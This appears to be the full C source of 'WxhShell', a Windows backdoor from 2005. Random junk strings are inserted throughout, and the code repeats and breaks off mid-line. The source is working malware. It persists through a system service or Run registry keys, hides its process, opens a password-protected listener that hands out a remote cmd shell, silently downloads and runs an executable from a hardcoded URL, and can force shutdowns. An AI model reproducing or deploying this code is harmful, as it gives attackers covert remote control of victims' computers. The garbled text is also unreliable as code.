Ne?a{ 5aizWz HANDLE hProcess; Tk?uJIS : PROCESS_BASIC_INFORMATION pbi; D#L(ZlD4 q4[8\Ua HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {6H[[7i if(NULL == hInst ) return 0; }lIc{R@H V*b/N g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Cu8mN B{H g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T4]2R NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
xcr2| GMJ4v S if (!NtQueryInformationProcess) return 0; 0TmEa59P $KbZ4bB[Bo hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4`Ud\Jm[s if(!hProcess) return 0; ?OFa
Q 3/`BK{ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (p{%]M 8In\Jo$|q> CloseHandle(hProcess); |-x-CSN n"htx|v hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OW@%H;b if(hProcess==NULL) return 0; Jz`jN~ BDI@h%tJb: HMODULE hMod; :oZ<[#p"* char procName[255]; 6p4BsWPx unsigned long cbNeeded; 2.aCo, Kb; QcL@3QC if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U0_)J1Yp D_d>A+ CloseHandle(hProcess); xRD+!3 ;[::&qf if(strstr(procName,"services")) return 1; // 以服务启动 G`zNCx. Mpojabsh return 0; // 注册表启动 p
qz~9y~ } Uw("+[ 5O0 zbxW
U]<S? // 主模块 _=~u\ $ int StartWxhshell(LPSTR lpCmdLine) p[C"K0>:_F { G1 "QX SOCKET wsl; k`m7j[A]l BOOL val=TRUE; +r3)\L{U int port=0; oIE
1j? struct sockaddr_in door; :EV.nD7 $XhMI;h if(wscfg.ws_autoins) Install(); 8X,6U_>#a }_'5Vb_ port=atoi(lpCmdLine); `[sFh%: 5`.CzQVb if(port<=0) port=wscfg.ws_port; *)Qv;'U=rn Z6zV 9hn WSADATA data; @3?>[R if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XL n9NBT4K ==[=Da~ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ZRxOXt&; setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?$6H',u door.sin_family = AF_INET; T#Z&* door.sin_addr.s_addr = inet_addr("127.0.0.1"); @GN2v,WA? door.sin_port = htons(port); 0SL{J*S4[# GM6,LzH if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ELCNf closesocket(wsl); 3%+~"4& return 1; "Au4&Fu } KrpIH6 *&I>3;~%^} if(listen(wsl,2) == INVALID_SOCKET) { Ljd`)+`D closesocket(wsl); |/gt;H~:
return 1; eB5>uKa } mU #F> Wxhshell(wsl); +X/a+y- WSACleanup(); 5*%Gh&) M-^I! C return 0; bp?5GU&Uy ln82pQD2Y~ } EH|+S <c}@lj-j // 以NT服务方式启动 KyyRHf5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N[/<xW~x?4 { pt<zyH3Z DWORD status = 0; &zJI~R DWORD specificError = 0xfffffff; P1mg;!tq >1sa*Wf serviceStatus.dwServiceType = SERVICE_WIN32; jo:Z serviceStatus.dwCurrentState = SERVICE_START_PENDING; W"Ip]LJ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >38>R0k35 serviceStatus.dwWin32ExitCode = 0; |R9Lben', serviceStatus.dwServiceSpecificExitCode = 0; ~*iF`T6 serviceStatus.dwCheckPoint = 0; [KK
|_ serviceStatus.dwWaitHint = 0; MLWHO$C~T N1~bp?$1 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y&$n[j if (hServiceStatusHandle==0) return; #|b*l/t8 gs'M^|e) status = GetLastError(); -%`~3*L if (status!=NO_ERROR) jaoZ}}V_$ { <<>+z5D+ serviceStatus.dwCurrentState = SERVICE_STOPPED; /w?e(v< serviceStatus.dwCheckPoint = 0; KOy{? serviceStatus.dwWaitHint = 0; lMY\8eobcB serviceStatus.dwWin32ExitCode = status; '3>;8(sl serviceStatus.dwServiceSpecificExitCode = specificError; aS [[
AL SetServiceStatus(hServiceStatusHandle, &serviceStatus); L)JB^cxf return; .t@|2 } t$!zgUJ nONuw;K serviceStatus.dwCurrentState = SERVICE_RUNNING; rt+4-WuK> serviceStatus.dwCheckPoint = 0; ~~/,2^ serviceStatus.dwWaitHint = 0; RAO+<m if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ETHcZ } z&%i"IY m# {'9 | // 处理NT服务事件,比如:启动、停止 '8q3ub<\ VOID WINAPI NTServiceHandler(DWORD fdwControl) z0 9Gp}^; { oV%:XuywT switch(fdwControl) VExhN'; { B(W~]i case SERVICE_CONTROL_STOP: Uc
tlE>X` serviceStatus.dwWin32ExitCode = 0; D^[l~K serviceStatus.dwCurrentState = SERVICE_STOPPED; z0}j7ns] serviceStatus.dwCheckPoint = 0; w5m/[Z serviceStatus.dwWaitHint = 0; wp?:@XM { kd'b_D[$H SetServiceStatus(hServiceStatusHandle, &serviceStatus); xk,Uf,,> } x4q}xwH return; v}$Q case SERVICE_CONTROL_PAUSE: layxtECP( serviceStatus.dwCurrentState = SERVICE_PAUSED; q }@L "a` break; hZ4 5i?% case SERVICE_CONTROL_CONTINUE: O=o}uB-*6 serviceStatus.dwCurrentState = SERVICE_RUNNING; (K[{X0T break; 9<Pg2#*N0 case SERVICE_CONTROL_INTERROGATE: ^N={4'G) break; o[!'JUxZ }; %%NoXW SetServiceStatus(hServiceStatusHandle, &serviceStatus); eQ>Ur2H8n }
p'h'Cz 8T3,56> // 标准应用程序主函数 g6Vkns4 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CPJ<A,V { doanTF4Da 5eTA] // 获取操作系统版本 %L.S~dN6 OsIsNt=GetOsVer(); d7V/#34 GetModuleFileName(NULL,ExeFile,MAX_PATH); s 4`-mIa -N' (2' // 从命令行安装 xGsOnY; if(strpbrk(lpCmdLine,"iI")) Install(); ~}_^$l8#-Q *u$aItx // 下载执行文件 Dmh$@Uu#F if(wscfg.ws_downexe) { 1mmL`M1 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eHgr"f*7
WinExec(wscfg.ws_filenam,SW_HIDE); CF;Gy L1M } r)t[QoD1 qR@ESJ_ if(!OsIsNt) { Lvf<g}?4 // 如果时win9x,隐藏进程并且设置为注册表启动 E^-c,4'F HideProc(); "uBnK! StartWxhshell(lpCmdLine); Oa/^A-'Q } *Dg@fxCQ else Wg}KQ6
6 if(StartFromService()) 9~UR(Ts}l // 以服务方式启动 $>/d)o StartServiceCtrlDispatcher(DispatchTable); H(^Ehv> else pz^S3fy // 普通方式启动 1clzDwW StartWxhshell(lpCmdLine); q'jOI_b e i=
4u' return 0; j3sz"( } (pELd(*Ga ,buX| IUOf/mM5 MD[hqshoh =========================================== F8w7N$/V", {7e(0QK FS"Ja`>j~ I=L["] )?72 +X eCI'<^ " $oW=N *B&P[n #include <stdio.h> 'dj3y/
k% #include <string.h> J`5VE$2M #include <windows.h> ika*w #include <winsock2.h> ?i<l7 #include <winsvc.h> }%XB*pzQ #include <urlmon.h> 0N1t.3U ,3?=W/Um4 #pragma comment (lib, "Ws2_32.lib") "r6qFxY #pragma comment (lib, "urlmon.lib") ]>~.U~ '
#K@%P #define MAX_USER 100 // 最大客户端连接数 *9n[#2sM< #define BUF_SOCK 200 // sock buffer C@-Hm #define KEY_BUFF 255 // 输入 buffer =o(}=T>:" R,T 0!f #define REBOOT 0 // 重启 'ON/WKJr|W #define SHUTDOWN 1 // 关机 le5@WG/x ;W{z"L;nX #define DEF_PORT 5000 // 监听端口 5j`sJvq 8$-MUF, #define REG_LEN 16 // 注册表键长度 T.#_v#oM #define SVC_LEN 80 // NT服务名长度 rRevyTs 'wPX.h? // 从dll定义API ^$oa`B^2JM typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k)knyEUi typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nDn+lWA=g typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gxhp7c182 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C6gSj1 6O/ L~Z*t // wxhshell配置信息 2]fTDKh struct WSCFG { t M5(&cQ!d int ws_port; // 监听端口 z
4}"oQk:r char ws_passstr[REG_LEN]; // 口令 *$7^.eHfdd int ws_autoins; // 安装标记, 1=yes 0=no }6l:'nW char ws_regname[REG_LEN]; // 注册表键名 Xf;!w:u char ws_svcname[REG_LEN]; // 服务名 G:e=9qTf char ws_svcdisp[SVC_LEN]; // 服务显示名 \B')2phE char ws_svcdesc[SVC_LEN]; // 服务描述信息 3JD62wtx char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;*5z&1O int ws_downexe; // 下载执行标记, 1=yes 0=no 1
k!gR char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "pt[Nm76)8 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,q*|R
O \WE/#To }; UusAsezm: VsA_x // default Wxhshell configuration $idToOkw struct WSCFG wscfg={DEF_PORT, y1 a%f.F` "xuhuanlingzhe", zDYJe_m ~ 1, =F[M>o "Wxhshell", !wAnsK "Wxhshell", azmeJpC "WxhShell Service", ydD:6bBX "Wrsky Windows CmdShell Service", ]9@4P$I "Please Input Your Password: ", Rs<S}oeLn 1, qo9&e~Y<G "http://www.wrsky.com/wxhshell.exe", x6>WvFZ "Wxhshell.exe" <2*+Y|Lk2 }; 23LG)or.JC K;/f?3q // 消息定义模块 BSS4}qyS char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0uKm)t/ char *msg_ws_prompt="\n\r? for help\n\r#>"; LEKE+775 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a3A-N] ;f char *msg_ws_ext="\n\rExit."; C^C'! char *msg_ws_end="\n\rQuit."; +
o< 7* char *msg_ws_boot="\n\rReboot..."; p!DdX char *msg_ws_poff="\n\rShutdown..."; o< b char *msg_ws_down="\n\rSave to "; djf8FNnn fwtsr>SV char *msg_ws_err="\n\rErr!"; wOUCe#P|r char *msg_ws_ok="\n\rOK!"; '!X`X= pz2E+o char ExeFile[MAX_PATH]; }Bh\N5G% int nUser = 0; =YYqgNz+\w HANDLE handles[MAX_USER]; 2s2KI=6 int OsIsNt; :SFf} #d8]cm= SERVICE_STATUS serviceStatus; bIt{kzuQC SERVICE_STATUS_HANDLE hServiceStatusHandle; qUe2(/TQu <mLU-'c@ // 函数声明 _u-tRHh|A int Install(void); 0lt1/PEKx2 int Uninstall(void); (Vey]J int DownloadFile(char *sURL, SOCKET wsh); zV$Z@o int Boot(int flag); @ &c@ void HideProc(void); !/2kJOSp int GetOsVer(void); d}E6d||A int Wxhshell(SOCKET wsl); ;d7Qw~v1s void TalkWithClient(void *cs); -XECYwTh int CmdShell(SOCKET sock); +L?;g pVE& int StartFromService(void); = r=/L int StartWxhshell(LPSTR lpCmdLine); B%Oi1bO E#w2'(t VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Md:*[]<~ VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0NsPo Pw|/PfG // 数据结构和表定义 Qm3RXO SERVICE_TABLE_ENTRY DispatchTable[] = W*c^(W { 1%.CtTi {wscfg.ws_svcname, NTServiceMain}, ~O;?;@ {NULL, NULL} cCtd\/ \ }; qzD K(mzt[n( // 自我安装 w4y???90) int Install(void) 4>=Y@z { '@^<c#h]= char svExeFile[MAX_PATH]; aLevml2:T HKEY key; j~2t^Qz
strcpy(svExeFile,ExeFile); -J!k|GK#MX .R+n}>+K // 如果是win9x系统,修改注册表设为自启动 USf;}F:-C if(!OsIsNt) { KG5B6Om5' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /4BYH?* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %'F[(VB RegCloseKey(key); Se/]J<] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !Je!;mEvI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M>Ws}Y RegCloseKey(key); xs
>Y return 0; 9&c *%mm } ELV$!f|u } +]Bx4r?p } QZ-6aq\sgp else { Rm.9`<Y ctC!b{S"@ // 如果是NT以上系统,安装为系统服务 ,J-YfL^x6* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cRPy5['E if (schSCManager!=0) JENq?$S { \ U`rF SC_HANDLE schService = CreateService C"}]PW ( &
V/t0 schSCManager, vw
q Y;7 wscfg.ws_svcname, 5|[\Se# wscfg.ws_svcdisp, BYDOTy/%nJ SERVICE_ALL_ACCESS, Se5jxV SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LTY(6we- SERVICE_AUTO_START, S1$& SERVICE_ERROR_NORMAL, V,9UOC,Gn svExeFile, DOo34l6# NULL, Yv;18j*< NULL, k3"Y!Uha: NULL, 0wl31k{ NULL, v/Ei0}e6~ NULL !U+XIr
); i3y>@$fRL\ if (schService!=0) 'v3>"b { ZYW=#df R CloseServiceHandle(schService); b~;+E#[* CloseServiceHandle(schSCManager); a
U*cwR strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Yyh X%S % strcat(svExeFile,wscfg.ws_svcname); {wfe!f if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [.iz<Yh RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oxm3R8S RegCloseKey(key); hz+x)M`Y return 0; 2}R)0][W } ?Da!QH
>,] } 8BJ&"y8H CloseServiceHandle(schSCManager); |a {*r. } r(qU~re'
} Pd<>E*>}c. V-iY2YiR return 1; {@[z-)N7\, } Z4Qq#iHZR xBcE>^{1. // 自我卸载 *XlnEHv int Uninstall(void) cz9T, { 1~q|%"J HKEY key; }"'l8t0? {*PB+WGe if(!OsIsNt) { 6d3-GMUQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X}3o RegDeleteValue(key,wscfg.ws_regname); oW/ #/;|` RegCloseKey(key); ) crhF9 !4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F4Gv=q)Z RegDeleteValue(key,wscfg.ws_regname); '`Z5.<n7p RegCloseKey(key); {o[*S%Z" return 0; D@>^_cTO24 } `=3:*.T* } 4jl-? } Ik4U+'z6 else { &<sDbNS j!P]xl0vOZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WY%'ps_]< if (schSCManager!=0) ]T! >] { }A`4ae= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M1T)e9k=x if (schService!=0) mMvt#+O { B@Q Ate7 if(DeleteService(schService)!=0) { 4`7:gfrO, CloseServiceHandle(schService); h~
=UFE%' CloseServiceHandle(schSCManager); =7mn=
w? return 0; W]rK*Dc } !1}A\S CloseServiceHandle(schService); q~=]_PMP } |^i+Srh CloseServiceHandle(schSCManager); bEE'50D } i7w>Nvj] } E(oI0*S.5 7x^P 74 return 1; 58Fan*fO } z\8Kz ]n~ F\Gi;6a // 从指定url下载文件 :)\< int DownloadFile(char *sURL, SOCKET wsh) $>;U^- #3 { tQ:)j^\ HRESULT hr; Ln})\
UDK) char seps[]= "/"; xCMcS~
3/ char *token; /gKX%`ZF/r char *file; !(soMv char myURL[MAX_PATH]; $!x8XpR8s char myFILE[MAX_PATH]; x\Bl^1& !$x9 s'D strcpy(myURL,sURL); 39QAj& token=strtok(myURL,seps); C0X_t while(token!=NULL) _kb
$S { A-&C.g file=token; io$!z=W token=strtok(NULL,seps); &!#a^d+` 0 } .j}dk.#h :U>o; GetCurrentDirectory(MAX_PATH,myFILE); DUxj^,mf, strcat(myFILE, "\\"); ]N^a/&}* strcat(myFILE, file); G:QaWqUb send(wsh,myFILE,strlen(myFILE),0); K_4}N%P/)) send(wsh,"...",3,0); 7p(^I*| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x-km)2x=W if(hr==S_OK) ;aip1Df return 0; kckWBL else ~
FW@ return 1; ?1Lzbou 1O0o18' } r(IQ)\GR %B$~yx3# // 系统电源模块 A7|!&fi int Boot(int flag) wvum7K{tI { )Ab!R:4 HANDLE hToken; F{a- - TOKEN_PRIVILEGES tkp; y8uB>z+#+; t/\J if(OsIsNt) { iXt >!f* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gf^"sfNk LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @54D<Lj tkp.PrivilegeCount = 1; MMglo3 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jiMI&cl AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &
Me%ZM0 if(flag==REBOOT) { *4;MO2g if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VQO6!ToKY return 0; *wcb 5p } o[W7'1O else { B(x i
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^<#08L; return 0; _6"!y
]Q } FV>LD% uu } )pV5l|` else { "If]qX(w if(flag==REBOOT) { ixZ w;+h if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A"8`5qa return 0; ,c#=qb8"" } 8*;88vW"2 else { ;H5PiSq;z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /pZ]:.A return 0; \-Mzs 0R } #wL}4VN } V8w!yc 1H{M0e return 1; 6H,n?[zTt } A\9QgM R87-L*9B^0 // win9x进程隐藏模块 xwr<ib: void HideProc(void) i>w'$ { { #;?j]npg] YoV^Y&:9< HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !%<bLD8 if ( hKernel != NULL ) TQyi-Dc { gz-X4A" pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V)CS,w ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %y{#fZHc FreeLibrary(hKernel); 8y5iT?.~vy } 3VZeUOxY\W s*.CJ return; kYBy\ } t(YrF, j^
VAA\ // 获取操作系统版本 _zq"<Q c int GetOsVer(void) u/3[6MIp { iO)FZ%?" OSVERSIONINFO winfo; 4vi P lO winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dGU io? GetVersionEx(&winfo); AvF:$kG if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M}|<#
i7u return 1; L P?E else .'QE o return 0; !PX`sIkT } bM[!E 8dF Ergh]"AD6- // 客户端句柄模块 Y;ytm
#= int Wxhshell(SOCKET wsl) fG2hCP+ { B2\R#&X. SOCKET wsh; a[;TUc^I1F struct sockaddr_in client; MYgh^%w: DWORD myID; 5 Z+2 $Fx:w while(nUser<MAX_USER) :r%Hsur( { <smi<syx int nSize=sizeof(client); #p@8m_g wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $\BRX\6(- if(wsh==INVALID_SOCKET) return 1; kk_$j_0 o";5@NH handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UruD&=AMK if(handles[nUser]==0) es}j6A1 closesocket(wsh); EHk(\1!V else cNX,% nUser++; OU&eswW } J
ik+t\A WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T=6fZ;7 =\;yxl return 0; Q@B--Omfh } 9aYDi) ?+{=>{1 // 关闭 socket 3n{'}SYyz void CloseIt(SOCKET wsh) kigq(a { $2u^z=`b!% closesocket(wsh); HP T{83 nUser--; \*{tAF ExitThread(0); IR; DdF } ^fVLM>p <; N|cWTbi // 客户端请求句柄 >_3+s~ void TalkWithClient(void *cs) 2$8#ePyq* { (#6E{@eq rO8Q||@>A SOCKET wsh=(SOCKET)cs; NHKIZx8sR char pwd[SVC_LEN]; kkfwICBI char cmd[KEY_BUFF]; Q2[@yRY/z char chr[1]; N\ nr int i,j; So &c\Ff T8|aFoHCK while (nUser < MAX_USER) { F0,-7<G N<bNJD} if(wscfg.ws_passstr) { Pe_mX*0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {=]1]IWt //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ub^v,S8O //ZeroMemory(pwd,KEY_BUFF); 3m1]Ia-9 i=0; ~9#nC`%2j while(i<SVC_LEN) {
#P:o iwb]mJUA // 设置超时 @.T
w*t fd_set FdRead; b"x[+&%i struct timeval TimeOut; q^nSYp# FD_ZERO(&FdRead); 3fC|}<Wzt FD_SET(wsh,&FdRead); xi5/Wc6 TimeOut.tv_sec=8; WU oGIT' TimeOut.tv_usec=0; 1]eh0H int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4h:R+o ^H^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e~7h8?\.q {)^P_zha[9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6L--FY>.- pwd=chr[0]; XI6LPA0% if(chr[0]==0xd || chr[0]==0xa) { >?b<)Q*< pwd=0; A)I4 `3E break; &mebpEHUG7 } ppcuMcR{ i++; [5&zyIi } Q8:`;W wFr}]<=Mi // 如果是非法用户,关闭 socket ,>-Q# if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Zkn$D: } ,/V'(\>
EA )28]Y. send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _H#l&bL@C send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )u{)"m`&[J <.c@l,[.z while(1) { JDO5eEwj Y,1sNg ZeroMemory(cmd,KEY_BUFF); }Ip"j]h "zJGYBen // 自动支持客户端 telnet标准 >AcpJ|V j=0; XxT7YCi while(j<KEY_BUFF) { Bsm>^zZ`YU if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $)OUOv cmd[j]=chr[0]; mi~BdBv if(chr[0]==0xa || chr[0]==0xd) { 79J@` cmd[j]=0; 0(9]m)e break; BV=L.* } LM_/: j++; Pw4j?pv2 } %,9iY&;U" *|c*/7]< // 下载文件 mPR(4Ol. if(strstr(cmd,"http://")) {
.*H0{ send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^/+0L[R if(DownloadFile(cmd,wsh)) 7h?yAgDv~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); r.e,!B s else U].u) g$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j[/'`1tOe } ;]<{<czc else { FrSeR9b a$p2I+lX switch(cmd[0]) { /f!_dJ^ #k%3Ag // 帮助 &dSw[C#f case '?': { {},rbQ
- send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zdA:K25" break; c`UJI$Q/ } 1XZ|}Xz // 安装 ]Y[8|HJ8 case 'i': {
b@J&jE~d if(Install()) rQNT send(wsh,msg_ws_err,strlen(msg_ws_err),0); m,nV,}@J else Fj c+{;x send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UXB[3SP break; @Kri)U
i } \mZ\1wzn'{ // 卸载 uNLB3Rdy} case 'r': { w;$@ </ if(Uninstall()) S3"js4a send(wsh,msg_ws_err,strlen(msg_ws_err),0); M%7H-^{ else !M~p __ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
z"BV+ break; rVkoj;[ } |Iy55~hK` // 显示 wxhshell 所在路径 D5X;hd case 'p': { 5* 1wQlL char svExeFile[MAX_PATH]; 1r}fnT< strcpy(svExeFile,"\n\r"); an3HKfv strcat(svExeFile,ExeFile); T6f{'.w send(wsh,svExeFile,strlen(svExeFile),0); 6Rn_@_Nn)f break; WNTm } vx=I3o // 重启 n5_r
3{ case 'b': { pt8X.f,iA send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zx\N^R;Jq if(Boot(REBOOT)) :>lica_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); v>Il# else { WfVkewuPo closesocket(wsh); i L1.R+ ExitThread(0); /2oTqEqaV } vCwDE~ break; 3nBbPP_ } ww"ihUX // 关机 *qg9~/ case 'd': { \S;%
"0! send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wxZnuCO%H8 if(Boot(SHUTDOWN)) G#'3bxI{f+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2]NP7Ee8Z else { !)tXN=(1a closesocket(wsh); =ox#qg.5 ExitThread(0); e4NT } mM~!68lR break; G*BM'^0+ } w_^&X;0^ // 获取shell h~elF1dG case 's': { bWv6gOPR3 CmdShell(wsh); PK C``+Ki closesocket(wsh); /#$bb4 ExitThread(0); !U]V?Jpi" break; CTtF=\ } G;Y,C<)0k // 退出 u0$7k9mE case 'x': { sXTt)J send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HH6b{f@^ CloseIt(wsh); }M/w 0U0o break; w0~iGr}P } k`js~/Xv // 离开 'xb|5_D case 'q': { VO(Ck\i} send(wsh,msg_ws_end,strlen(msg_ws_end),0); iyOd&|. closesocket(wsh); I(Nsm3L WSACleanup(); lGPC)Hu{` exit(1); S^)r,cC break; Wnl8XHPn } !5`}s9hsF_ } h.
i&[RnX } <Xy8}Z`s oAWk<B(@ // 提示信息 QAi(uL5 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [
H>MeeR } |f8by\Q86= } |]A{8BBC ,-CDF)~G=3 return; vyV n5s } RYE::[O7 &X+V} // shell模块句柄 E yNI]XEj int CmdShell(SOCKET sock) Z;S*fS-_ { Z/wh?K3y STARTUPINFO si; Dr`\ ZeroMemory(&si,sizeof(si)); *U54x
/w| si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QVn0!R{ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {r&M PROCESS_INFORMATION ProcessInfo; -xXNzC char cmdline[]="cmd"; d(wqKiGwe CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wt2S[:!p return 0; 3N+P~v)T' } /F;*[JZIb =La}^ // 自身启动模式 9 b]U&A$ int StartFromService(void) eiEZtu { $%r|V*5 typedef struct 6xL=JSi~ { 8<n8joO0 DWORD ExitStatus; FZ=6x}QZ DWORD PebBaseAddress; !+uMH! DWORD AffinityMask; sQJM 4'8f DWORD BasePriority; iZMsN*9[ ULONG UniqueProcessId; oTI*mGR1Z ULONG InheritedFromUniqueProcessId; pDkT_6Q } PROCESS_BASIC_INFORMATION; V2 VsJ Od&M^;BQ PROCNTQSIP NtQueryInformationProcess; $+Pv
fQ nNhN:? static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z$zUy|s[ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \)M5o Z~ ?:r HANDLE hProcess; ys#M*
{? PROCESS_BASIC_INFORMATION pbi; eaX`S.!jR ePs<jrB< HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <;=Y4$y[ if(NULL == hInst ) return 0; +ypG<VBx% \=N
tbBL$[ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SOK2{xCG g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {6%uNT>| NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >t D-kzN ik$wS#1+L if (!NtQueryInformationProcess) return 0; $,aU"'D J~_p2TZJ\3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J.<eX=< if(!hProcess) return 0; l*v([@A\ J`RNik*> if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IN%>46e` }2NH>qvY CloseHandle(hProcess); =fsaJ@q,R vhL&az hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^F" *;8$ if(hProcess==NULL) return 0; \^#1~Kx UkqLLzL HMODULE hMod; Ap!UX=HBb char 